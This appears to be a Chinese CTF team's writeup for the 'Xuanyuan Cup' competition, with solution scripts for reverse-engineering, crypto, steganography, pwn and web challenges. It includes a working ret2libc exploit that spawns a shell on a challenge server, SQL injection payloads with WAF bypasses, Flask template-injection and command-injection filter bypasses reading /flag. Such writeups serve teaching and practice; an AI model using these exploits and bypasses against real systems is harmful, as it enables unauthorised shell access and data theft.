霍雅
“轩辕杯”云盾砺剑CTF挑战赛 Zero Trace队wp(writeup)
reverse
ezBase
把upx改成UPX
即可脱下来
很明显的base64,结尾套了个亦或异或4
所以先亦或在base64
base64还欢乐表
exp:
import base64
cipher = "iP}ui7siC`otMgA~h5o]Tg<4jPmtIvM5C~I4h644K7M~KVg="
step1 = ''.join(chr(ord(c) ^ 4) if c != '=' else '='for c in cipher)
custom_alphabet = "AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0123456789+/"
standard_alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
std_b64 = ''.join(standard_alphabet[custom_alphabet.index(c)] if c != '=' else '='for c in step1)
plaintext = base64.b64decode(std_b64).decode()
print(plaintext)
#flag{Y0u_@R3_Upx_4nd_b45364_m4st3r!
封印
先用pyinstxtractor解包exe
有在线网站反编译pyc
https://pylingual.io/
可以看到先rc4再base64再URL编码
逆回去直接url解密会自动解成字节
rc4 key给了是key = 'HereIsFlagggg'
exp:
import base64
import urllib.parse
enc = '%C2%8EQ%C2%B5%7D5s%01%C2%B380%C2%95%C3%B2%C3%90%0A%C3%9C%C3%B4i'
key = 'HereIsFlagggg'
decoded = urllib.parse.unquote(enc)
cipher = decoded.encode('latin1')
s_box = list(range(256))
j = 0
for i in range(256):
j = (j + s_box[i] + ord(key[i % len(key)])) % 256
s_box[i], s_box[j] = s_box[j], s_box[i]
res = []
i = j = 0
for c in cipher:
i = (i + 1) % 256
j = (j + s_box[i]) % 256
s_box[i], s_box[j] = s_box[j], s_box[i]
t = (s_box[i] + s_box[j]) % 256
k = s_box[t]
res.append(chr(c ^ k))
flag = ''.join(res)
print( flag )
无由持一碗,寄与爱茶人
分析了一下,程序并不复杂,符号也没去
先把enc和key放到encrypt加密
再把enc2和key2放到encrypt2加密
两个加密都是tea系列
一个把模数放到中间了,按代码逆即可
exp:
#include <stdio.h>
#include <stdint.h>
void decrypt_part1(uint32_t *v, uint32_t *k) {
uint32_t v0 = v[0];
uint32_t v1 = v[1];
uint32_t delta = 0x61C88647;
uint32_t sum = 0;
for (int i = 0; i < 32; i++) sum -= delta;
for (int i = 0; i < 32; i++) {
uint32_t F2 = (v0 + sum) ^ ( (v0 << 4) + k[2] ) ^ ( (v0 >> 5) + k[3] );
v1 -= F2;
uint32_t F1 = (v1 + sum) ^ ( (v1 << 4) + k[0] ) ^ ( (v1 >> 5) + k[1] );
v0 -= F1;
sum += delta;
}
v[0] = v0;
v[1] = v1;
}
void decrypt_part2(uint32_t *v, const uint32_t *key) {
uint32_t v0 = v[0];
uint32_t v1 = v[1];
uint32_t delta = 0x61C88647;
uint32_t sum = 0;
for (int i = 0; i < 32; i++) sum -= delta;
for (int i = 0; i < 32; i++) {
uint32_t sum_i = sum;
uint32_t F_v1 = ( ( (v0 >> 5) ^ (v0 << 4) ) + v0 ) ^ ( key[(sum_i >> 11) & 3] + sum_i );
v1 -= F_v1;
uint32_t sum_i_prev = sum + delta;
uint32_t F_v0 = ( ( (v1 >> 5) ^ (v1 << 4) ) + v1 ) ^ ( key[sum_i_prev & 3] + sum_i_prev );
v0 -= F_v0;
sum += delta;
}
v[0] = v0;
v[1] = v1;
}
int main() {
uint32_t enc[] = {0xE1D62264, 0x2BBC17A2, 0x3AA856CA, 0x7E38322B, 0xBC08EBCF, 0x4A04CF6E};
uint32_t key[] = {0x192021, 0x28256, 0x28257, 0x282931};
char part1[25] = {0};
for (int i = 0; i < 3; i++) {
uint32_t block[2] = {enc[2*i], enc[2*i + 1]};
decrypt_part1(block, key);
for (int j = 0; j < 4; j++) {
part1[i*8 + j] = (char)(block[0] >> (j*8));
part1[i*8 + j +4] = (char)(block[1] >> (j*8));
}
}
printf("Part1: %s\n", part1);
return 0;
}
你知道base么
函数进来看着很长
分析一下有个tea
有个rc4
还有个类似于base的东西
这部分代码直接让ai去处理
接着仔细分析,
xtea的部分把input作为明文v10作为秘钥,然后和v9比较,所以v9是密文
明文加密的值作为rc4的秘钥来初始化s盒去加密str,str是输入
然后和v20比较,所以v20是密文
rc4操作完进入了一个类似于base的函数 传了v2 v5 v17
v22是输入 v5是长度 v17是rc4解密的东西
ai分析说是把rc4解密的作为例如base的表,具体看不懂,这部分让ai处理了
exp:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import struct
# —— 第一关:TEA 逆向解密 ——
def tea_decrypt_custom(v0, v1, key):
delta = 0x61C88647
mask = 0xFFFFFFFF
# 初始 sum = -delta*32 mod 2^32
s = (-delta * 32) & mask
k0, k1, k2, k3 = key # v11 数组里的四个常量
for _ in range(32):
# 先 undo v1(对应加密时的第二步 v5 += ...)
f1 = (k3 + (v0 >> 5)) ^ ((s + v0) & mask) ^ (k2 + ((v0 << 4) & mask))
v1 = (v1 - f1) & mask
# 再 undo v0(对应加密时的第一步 v4 += ...)
f0 = (k1 + (v1 >> 5)) ^ ((s + v1) & mask) ^ (k0 + ((v1 << 4) & mask))
v0 = (v0 - f0) & mask
# sum 回退(对应加密时的 sum -= delta)
s = (s + delta) & mask
return v0, v1
# —— 第二关:标准 RC4 ——
def rc4_keystream(key_bytes, length):
S = list(range(256))
j = 0
# KSA
for i in range(256):
j = (j + S[i] + key_bytes[i % len(key_bytes)]) & 0xFF
S[i], S[j] = S[j], S[i]
# PRGA
i = j = 0
out = []
for _ in range(length):
i = (i + 1) & 0xFF
j = (j + S[i]) & 0xFF
S[i], S[j] = S[j], S[i]
t = (S[i] + S[j]) & 0xFF
out.append(S[t])
return out
# —— 第三关:Base→bytes 自定义解码 ——
def custom_base_decode(cipher_bytes, table):
idxs = []
for b in cipher_bytes:
pos = table.index(b)
idxs.append(pos - 1) # 程序里用的是 table[index+1]
bits = 0
bitlen = 0
out = bytearray()
for idx in idxs:
bits = (bits << 5) | (idx & 0x1F)
bitlen += 5
if bitlen >= 8:
bitlen -= 8
out.append((bits >> bitlen) & 0xFF)
return bytes(out)
def main():
C0, C1 = 0xA92F3865, 0x9E60E953
TEA_KEY = (0x12345678, 0x3456789A, 0x89ABCDEF, 0x12345678)
# 第二关的 signed char 数组 v21
v21 = [
-44, 89, 35, 118, -76, -65, -29, 44,
88, -113, 86, 25, -38, -16, -64, -67,
54, 61, 123, 70, 27, -72, 23, 31,
-29, -48, 3, 69, -51, 4, -19, -55,
103, -26, -85, 41, -89, -68, 11, -34,
92, 48, 113, -41, -43, 90, -58, -97,
64, 101, -60, 113, -87, -61, -82, -39,
-75, -27, 18, -116, 0x80
]
cipher2 = [b & 0xFF for b in v21]
# 第三关完整的 48 字节密文
cipher3 = b"0tCPwtnncFZyYUlSK/4Cw0/echcG2lteBWnG2Ulw0htCYTMW"
# —— 第一步:TEA 逆向得到 RC4 Key ——
v0, v1 = tea_decrypt_custom(C0, C1, TEA_KEY)
key_bytes = struct.pack("<II", v0, v1)
print("[1] RC4 Key (hex): ", key_bytes.hex())
print("[1] RC4 Key (ASCII):", key_bytes)
# —— 第二步:RC4 keystream 还原 Base_Table ——
ks = rc4_keystream(key_bytes, len(cipher2))
table_bytes = bytes((cipher2[i] - ks[i]) & 0xFF for i in range(len(cipher2)))
print("[2] Base_Table =", table_bytes.decode('ascii'))
# —— 第三步:自定义 Base 解码还原 flag ——
flag = custom_base_decode(cipher3, list(table_bytes))
print("[3] FLAG =", flag.decode())
if __name__ == "__main__":
main()
crypto
简单编码
easy_rsa
import libnum
import gmpy2
p= 1000000000000000000000000000057
q= 1000000000000000000000000000099
c= 418535905348643941073541505434424306523376401168593325605206
# n= 55807222544207698804941555841826949089076269327839468775219849408812970713531
e = 65537
n = p * q
phi_n=(q-1)*(p-1)
print()
d = gmpy2.invert(e, phi_n)
m=pow(c,d,n)
print(libnum.n2s(int(m)))
dp
dp泄露
import libnum
import gmpy2
n= 110231451148882079381796143358970452100202953702391108796134950841737642949460527878714265898036116331356438846901198470479054762675790266666921561175879745335346704648242558094026330525194100460497557690574823790674495407503937159099381516207615786485815588440939371996099127648410831094531405905724333332751
e= 65537
dp= 3086447084488829312768217706085402222803155373133262724515307236287352098952292947424429554074367555883852997440538764377662477589192987750154075762783925
c= 59325046548488308883386075244531371583402390744927996480498220618691766045737849650329706821216622090853171635701444247741920578127703036446381752396125610456124290112692914728856924559989383692987222821742728733347723840032917282464481629726528696226995176072605314263644914703785378425284460609365608120126
for i in range(1,65535):
p=(dp*e-1)//i+1
if n%p==0:
q=n//p
break
print(p)
print(q)
phi_n= (p-1)*(q-1)
d=gmpy2.invert(e,phi_n)
m=pow(c,d,n)
print(m)
flag=libnum.n2s(int(m)).decode()
print(flag)
misc
Terminal Hacker
哇哇哇瓦
随波逐流打开有flag头
foremost分离一下得到一个hint
提示图片右下角有东西
查看图片右下角有东西,让ai提取最后一行的数据
from PIL import Image
import numpy as np
with open("1.png", "rb") as img_file:
image = Image.open(img_file).convert("RGB")
pixel_array = np.array(image)
rows, cols, _ = pixel_array.shape
tail_pixels = pixel_array[rows - 1]
encoded_hex = ''.join([f'{r:02x}{g:02x}{b:02x}' for r, g, b in tail_pixels])
decoded_text = bytes.fromhex(encoded_hex).decode("utf-8", errors="replace")
with open("1.txt", "w", encoding="utf-8") as out_f:
out_f.write(encoded_hex + "\n\n")
得到一串字符,看到504b03但是没有04,仔细观察04在041400这里,观察发现6个一组的倒叙让ai写脚本处理
s = """
3033303033323033323033323033323033323032323033322f32302f32302f32302f32302e32302e32302e32302f32302f32302f32302f32302e32302e322f2e322f2e32303032323032323032322f32322f32323034333032323033323235343235353135333034323033322f32322f32322f33332e33342e33342e33342f34342f34342f34342f34342f34342f34342f34342e33342e33342e33342f33332f32333032323033332d30302d30303033333033333033322f33322f33322f33322f33322e32312e32312e32312e32312e32312e32312e32312e32312e32312e32312e32312e32312e32312e32312c31302e32312e3232292e2c272c2b2c3130303533373b3a35393832373630353531363532373632373632373632373632373632373633383732373532373532373532373532373632373632373633373633373633373633373635373735383735383735383736393835393835383735383735393835393835393835383734373634373634373634373634373634373634373734373734373734373734373834373834373834373834373834373832353630333431353535383933373737393a34373734373734373734373734373734373734373734373734373734373734373734373734373734373734373737373931363d303d4e2b3e592b436828466d244a732648732646732646732646732747742847752847752847732a46712b46702b466f2a466f28466f28466f27466f28446c283f67243a5e213454192740162133151d2b171c261b1c221f1f232624273533344d4a4a625e5c75716d7b77737b77747a777379757077736f77716e77706c776f6b776f6a776f6b776e6a776f6b776e6a776f6a786f6b77706c77716c78716d79726e766f6b756f6a766f6b766f6b6f6a666f6a676d68646c67646964606964616a65626a656269646066615d645e5b625d5a625d5a625d5a625d5a5c5754595451544e4c504a4747423f423c393b363335302d312c29302a282f2a262d28242a252128221f29231f29211c281f1a241e19241f1b26221f211e1d211f1f201e1d221f1e484442635e5a655f59665d57675d57675d56665d56665d56665d56665d56665d56665d56665d56665f59645e59645e5965605b625c574f49442b2520231d1926201f443e3d635d5a66605b66605a66605966605866605966605b66605b66615b68635e6c6662736d6865605c3b3a383f3f3e44434335333824212d2b283b302c462521381c192c1d1b2c1b18261b18241e1c261c19221d1a221d1b231c1a221a172019171f19171f18161e17141d16131b14121a1310191210180e0c140e0b130f0d15110e160a060c0e0a0f171217514a48554c43594e425b4f3f5c4e425b4c425b4d425b4d415b4d425b4e435a4e42584c3f5b4e425b4e425b4e425b4e425c4f425c4f425c4f425f51446151455f4e435e4e425d4c415d4d41605144645347604f416151426251426251435d4c3d59483a594a3c5b4c3f57493e51443a4a3f3445392e43372c42372c3b3126393026373026332c212f271c2c22172d21143f3224594433684a38714c3b774c3b7a4b3b7c4a3b794a3b774a3d774d42744b4071483d71483d754c42754c42754c41754e44755046755046755046744e44734e44744e44744e44714d43724f44714e44714e44704d43704c42704c426e4b406b4a3f6b4a3f6c4a3f6a493d6a493e6b4a3f6a4a3f68483f67473f65463d65453d66463d64453c63443b6141395e3f365d3d355c3c345a3a325939315939315939315c3d355d3e355f3f3762423a66473e6849406b4c436f4e4773534c76574f7859507e5b5187605586594e84544887564a85564a7e53487051455c4b3d584c3f554c3f574d42564d43554b41554b414e443a43392e392f25493f355b52475d53485d53485d53485c52485c52475d534862584a61574559503f594f405a51435a51455b51465a51465a51465a50465a50465a50465950465950465950465950465a5046594f45584e445950465a50465a5046595046574e44564d435b5349564e43574f45574f45574f455950455c52465d53485b5146594f44594e43574c41564c40574d41574e42594f445950445a50445b52465d53475a51465d554a655d5261594e5c544a5b52485b52485a52475851465f584d5c574b524c424c463b534e44565147544e46534d46534d45534e46524c44514b43504a42504a424f4a42504a434f4a424e48424d49424c49424c49424b47404a443d4a463f49453f49453f48443f46433d45423d43423d43423e42413d42403c413f3d403e3c3e3b3a3f3c3b423f3e3e3d3b3d3d3b3d3d3c3b3b393939373b3b3a3939393333323535353737373434343434343333333132332f32333033343134353235362e3232272a2b282c2c262a2c262a2c262a2c262a2c25292b25292b25292b262a2c272b2d272c2e282c2e282c2e282d2f282d2f282d2f2a2f312a2f312a2f312b2f312c30322c30322c30322d32332e33352e33352e33352e33352f33352f33352e32353133363234373335373234373132353233353233353234353335363234353234353435373234353234353233343535353636363737373637373839393b3a393d3b393b39373c39373d3b383f3d3a403d3a43403c3f3d39413e39423f3a423f39433f3a44403a48433c4b453e4c463f4e463f4f4840504941514942514a41524b424e473e554e45544c44534c44534c44554e44554e45554e45554e45554e44554d44554d44544d44514a41534c43534c43534c42534c42534c42484137534c42595248534c434d483f4d483f4c473f4c463e4a453d4a453d4a443d4a453d4c463f4a453d4c473f4d49414c48414c48414b46414a46414a454049443f48443f48423e48433e46423d44403c44403d443f3d423f3d3f3e3c3e3d3b3d3c3a3d3b393b39373b3a383d3b3a3b3b393a3b39393a37373836363735393a373637333637333737343636323535323435333234333233333233333132323031312f30302d2f2f2d30302c30302c31312c30302b30302b30302a2e2f2b30302b2f302a2e2e2a2f2f2a2e2f2a2f302a2f2f292e2e2a2e2f2a2f30282d2e272d2e272d2e272d2e272d2e272d2e272d2e272d2e272d2e272d2e272d2e272d2e272d2e272d2e272d2e262c2e262c2e262c2e262c2e262c2d262c2d262c2d262c2d262c2d262c2d262c2d262c2e272d2e272d2e272d2e252b2c252b2c252b2c242a2c23292b252b2d2a30312a2f31282d2f282d2f282d2f282c2e282c2e282c2e282c2f272c30272d30272d30272c30272c30272c30262c2f262c2e262c2e262c2e262b2e252b2e252b2e252b2e252b2e252b2e252b2e252b2e252b2e252b2e252b2e252b2e252b2e252b2e252b2e252b2e252b2e252b2e252b2e252b2e242a2d242a2d242a2d242a2d242a2d242a2d242a2d242a2d242a2d242a2d242a2d242a2d242a2d242a2d00000055000000000001005b0001000000004b0506db01501a6fb7c1e853b7db0180316f011f3a6fb7db3a803118001f00010000000000200078740a322e746c61670000660000002000000000000000000024000000090010001e00006cc8769b5a6a00f0a209000800140001021f00504b100000000000c8761e086a6c504b07e4c6349bd98bb8c0d961f3844db071d7ec54f9d34ed04e32194ebf6a8b3474787467322e666c610000000000090010001e00006cc8769b5a6a00f0a2090008041400504b03
"""
s = s.replace("\n", "").strip()
chunks = [s[i:i+6] for i in range(0, len(s), 6)]
reversed_s = "".join(chunks[::-1])
print(reversed_s)
得到一个压缩包,密码场上还活着的英雄也就是GekkoYoru
隐藏的邀请
把docx改成zip,发现有个Cyyyy的文件
常规docx是没有这个文件的
打开往下翻发现一串字符串数据
xor解码再转图片
key就是文件名Cyyyy
pwn
ret2libc
from pwn import *
from LibcSearcher import *
p = remote("27.25.151.26",39040)
#p = process("./lllibc")
elf = ELF('./lllibc')
padding = 0x10 + 8
main_addr = 0x4011EC
write_plt = elf.plt['write']
write_got = elf.got['write']
pop_rdi = 0x40117e
pop_rsi = 0x401180
rdx = 0x0000000000401182
payload1 = b'a' * padding + p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(write_got) + p64(rdx)+p64(8) + p64(write_plt) + p64(main_addr)
p.recvuntil("Libc how to win?\n")
p.send(payload1)
write_addr = u64(p.recv(6).ljust(8, b'\x00'))
print("write_addr==>", hex(write_addr))
libc = ELF("./libc.so.6")
libc.address = write_addr - libc.sym['write']
binsh_addr = next(libc.search(b'/bin/sh\x00'))
system_addr = libc.sym['system']
payload2 = b'a' * padding + p64(pop_rdi) + p64(binsh_addr) +p64(0x000000000040101a)+ p64(system_addr)
p.recvuntil("Libc how to win?\n")
p.sendline(payload2)
p.interactive()
web
ezSSRF
<?php
error_reporting(0);
highlight_file(__FILE__);
$url = $_GET['url'];
if ($url == null)
die("Try to add ?url=xxxx.");
$x = parse_url($url);
if (!$x)
die("(;_;)");
if ($x['host'] === null && $x['scheme'] === 'http') {
echo ('Well, Going to ' . $url);
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
curl_close($ch);
echo ($result);
} else
echo "(^-_-^)";
Try to add ?url=xxxx.
打开题目如上
目录扫描发现/flag
访问下载,由于没有后缀,尝试使用010打开
访问文件,得到flag
签到
打开题目,根据提示,构造数据包
cookie值原始是user(用户),由于cookie被用作验证身份,因此尝试修改为admin(管理员),通过第一关
第二关:
%0截断
第三关:
考察Referer头:将题目URL写上去,后面跟上secretcode
POST发送key=ctfpass
第四关:
改为HEAD请求,并且UA改为identity=n1c3
第五关:
丢给ai
第六关
简单的RCE,过滤了cat和tac以及flag关键字,使用nl+通配符绕过
ezflask
打开题目,输入{{7*7}}
发现回显49,说明存在flask模板注入
fenjing一把梭
fenjing scan -u http://27.25.151.26:32635/
跑完后直接cat /flag拿到flag
ezjs
打开题目,ctrl+U分析源码
发现三个js文件
逐个访问,在main.js中发现输出flag的前提条件
if (scoreNow === 100000000000) {
fetch('getflag.php', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
body: 'score=' + scoreNow
})
.then(response => response.text())
.then(data => {
alert("æå–œä½ ï¼flag是:" + data);
})
.catch(error => {
console.error('错误:', error);
});
}
})
控制台输入:
game.score=100000000000; game.successCallback(100000000000);
得到flag
ezrce
打开题目,发现被过滤了一大堆
num检查:?num=123444成功绕过
发现过滤函数的形式是数组
可以使用反斜杠表示全局命名空间中的system函数
这样,在检测时\system不会被过滤
call_user_func的特性
将\system解析为全局的system函数,并且将\cat+/flag作为参数传递给system
由于\在命令行中经常被忽略,因此实际执行的是cat /flag
bp抓包,发送payload(避免被URL编码)
ezsql1.0
打开题目,输入1正常查询,输入1 or 1=1发现触发waf
单独输入or和1=1发现都没有触发
说明过滤了空格,采用/**/绕过
尝试select发现无结果,并没有waf提示,猜测是被特殊处理,尝试大小写绕过以及双写
最终发现双写有效
查询数据库
-1/**/union/**/selecselectt/**/1,group_concat(schema_name),3/*
发现敏感库(ctf和xuanyuanCTF)
-1/**/union/**/selecselectt/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema='ctf'
lumn_name),3/**/from/**/information_schema.columns/**/where/**/table_schema='ctf'/**/and/**/table_name='flag'
1/**/union/**/selecselectt/**/1,group_concat(data),3/**/from/**/flag
得到一个假flag(出题人我爱你!!!!)
修改一下payload,继续查询
-1/**/union/**/selecselectt/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema='xuanyuanCTF'
-1/**/union/**/selecselectt/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_schema='xuanyuanCTF'/**/and/**/table_name='info'
1/**/union/**/selecselectt/**/1,group_concat(content),3/**/from/**/xuanyuanCTF.info
得到: ZmxhZ3vmrKLov47mnaXliLDovanovpXmna99
尝试base64解码
得到:flag{欢迎来到轩辕杯}